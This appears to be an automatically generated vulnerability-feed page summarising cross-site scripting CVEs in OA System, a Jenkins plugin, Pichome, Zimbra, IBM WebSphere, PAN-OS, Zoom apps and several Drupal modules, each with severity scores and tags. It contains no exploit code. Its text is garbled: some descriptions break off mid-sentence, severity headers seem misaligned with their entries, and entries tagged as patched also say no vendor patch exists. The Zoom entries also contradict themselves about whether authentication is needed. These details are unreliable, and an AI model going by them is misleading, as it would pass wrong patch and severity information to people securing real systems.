A cross-site scripting (XSS) vulnerability in OA System before v2025.01.01 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the title parameter at. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Oa System
NVD
EPSS 0% CVSS 8.8
HIGH PATCH This Month

Jenkins Health Advisor by CloudBees Plugin 374.v194b_d4f0c8c8 and earlier does not escape responses from the Jenkins Health Advisor server, resulting in a stored cross-site scripting (XSS). Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Jenkins Health Advisor By Cloudbees
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability was discovered in the Pichome system v2.1.0 and before. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

An issue was discovered in Zimbra Collaboration (ZCS) 9.0.0 before Patch 43, 10.0.x before 10.0.12, 10.1.x before 10.1.4, and 8.8.15 before Patch 47. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Authentication Bypass XSS Zimbra Collaboration Suite
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

IBM WebSphere Application Server 8.5 and 9.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Websphere Application Server
NVD
EPSS 4% CVSS 2.7
LOW POC Monitor

A reflected cross-site scripting (XSS) vulnerability in the GlobalProtect™ gateway and portal features of Palo Alto Networks PAN-OS® software enables execution of malicious JavaScript in the context. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Paloalto XSS
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting in some Zoom Workplace Apps may allow an authenticated user to impact app integrity via network access. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Meeting Software Development Kit Rooms +4
NVD
EPSS 0% CVSS 6.6
MEDIUM This Month

Cross-site scripting in some Zoom Workplace Apps may allow an authenticated user to conduct an escalation of privilege via local access. Rated medium severity (CVSS 6.6), this vulnerability is low attack complexity. No vendor patch available.

XSS Privilege Escalation Meeting Software Development Kit +5
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal IFrame Remove Filter allows Cross-Site Scripting (XSS).0.0 before 2.0.5, from 7.X-1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Iframe Remove Filter Drupal
NVD HeroDevs
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal Klaro Cookie & Consent Management allows Cross-Site Scripting (XSS).0.0 before 3.0.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Klaro Cookie Consent Management Drupal
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal COOKiES Consent Management allows Cross-Site Scripting (XSS).0.0 before 1.2.14. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cookies Coonsent Manager Drupal
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal oEmbed Providers allows Cross-Site Scripting (XSS).0.0 before 2.2.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Oembed Providers Drupal
NVD
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